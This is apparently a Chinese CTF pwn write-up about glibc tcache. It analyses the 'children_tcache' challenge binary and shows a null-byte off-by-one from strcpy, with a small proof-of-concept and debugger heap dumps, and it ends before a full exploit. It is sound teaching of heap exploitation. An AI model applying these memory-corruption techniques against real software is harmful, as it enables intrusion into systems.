师傅tql
前言
最近比赛Pwn的libc版本越来越多2.26以上的了,也就相当于多了不少tcache相关的题目,于是最近恶补了一波tcache机制相关的东西,并记录下tcache相关题目的调试
tcache简介
tcache(thread local )是glibc在2.26版本新出现的一种内存管理机制,它优化了分配效率却也降低了安全性,一些漏洞的利用条件变得容易了许多
首先我们先看下tcache新引入的两个数据结构tcache_entry 和tcache_perthread_struct
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
这里简单的说明一下tcache和fastbin的结构都很相像也都是单链表结构,明显的不同是fastbin每个bins有10个块而tcache是7个并且tcache的优先级要高于fastbin,相当于只有tcache放不下了才会放入fastbin
(0x20) tcache_entry[0]: 0x55ea7bc0d320 --> 0x55ea7bc0d300 --> 0x55ea7bc0d2e0 -->
0x55ea7bc0d2c0 --> 0x55ea7bc0d2a0 --> 0x55ea7bc0d280 --> 0x55ea7bc0d260
我们先看下题目的基本信息,这里我是用了自己写的一个pwn环境来实现tcache的调试具体链接会在末尾放出
➜ tcache file children_tcache
children_tcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ebf73572ad77a035a366578bf87c6aabc6a235a1, stripped
➜ tcache checksec children_tcache
[*] '/home/ctf/process/tcache/children_tcache'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
64位防护全开的程序,真的刺激,我们看下程序干了些什么
➜ tcache ./children_tcache
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Children Tcache
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. New heap $
$ 2. Show heap $
$ 3. Delete heap $
$ 4. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice: 1
Size:12
Data:aaaa
一个基本的菜单类型的pwn题,在简单的审计过后就能发现漏洞,首先我们看下程序本身产生的问题
void new()
{
signed int i; // [rsp+Ch] [rbp-2034h]
char *note_chunk; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char buf; // [rsp+20h] [rbp-2020h]
unsigned __int64 v4; // [rsp+2038h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(&buf, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return;
}
if ( !note[i] )
break;
}
printf("Size:");
size = input();
if ( size > 0x2000 )
exit(-2);
note_chunk = malloc(size);
if ( !note_chunk )
exit(-1);
printf("Data:");
read_chk_input(&buf, size);
strcpy(note_chunk, &buf);
note[i] = note_chunk;
note_size[i] = size;
}
我们知道strcpy在拷贝字符串时连末尾的'\0'也会一起拷贝,假设我们的字符串长度刚好和所分配给它的长度相等,那么就可能会造成null-byte-off-by-one漏洞,我们简单的验证一下
#poc
new(0x10,'a'*8)
new(0x110,'aaaa')
raw_input()
free(0)
new(0x18,'a'*0x18)
raw_input()
pwndbg> parseheap
addr prev size status fd bk
0x565258e29000 0x0 0x250 Used None None
0x565258e29250 0x0 0x20 Used None None
0x565258e29270 0x0 0x110 Used None None
pwndbg> parseheap
addr prev size status fd bk
0x565258e29000 0x0 0x250 Used None None
0x565258e29250 0x0 0x20 Freed 0x61616161616161610x6161616161616161
0x565258e29270 0x6161616161616161 0x100 Freed 0x62626262 0x0
Corrupt ?! (size == 0) (0x565258e29370)
pwndbg> x/8x 0x565258e29250
0x565258e29250: 0x0000000000000000 0x0000000000000021
0x565258e29260: 0x6161616161616161 0x0000000000000000
0x565258e29270: 0x0000000000000000 0x0000000000000111
0x565258e29280: 0x0000000062626262 0x0000000000000000
pwndbg> x/8x 0x565258e29250
0x565258e29250: 0x0000000000000000 0x0000000000000021
0x565258e29260: 0x6161616161616161 0x6161616161616161
0x565258e29270: 0x6161616161616161 0x0000000000000100 ==>这里原本应该为0x111但最末尾的0x11被0x00覆盖了
0x565258e29280: 0x0000000062626262 0x0000000000000000
由于这题的出题人用0xda填充整个chunk,所以我们不能直接伪造pre_size来overlapping
void delete()
{
unsigned __int64 idx; // [rsp+8h] [rbp-8h]
printf("Index:");
idx = input();
if ( idx > 9 )
exit(-3);
if ( note[idx] )
{
memset(note[idx], 0xDA, note_size[idx]);
free(note[idx]);
note[idx] = 0LL;
note_size[idx] = 0LL;
}
puts(":)");
}
但我们刚刚才验证的null byte off-by-one溢出的字节为\x00,所以我们可以通过反复的利用这个把pre_size位清0来构造overlapping
```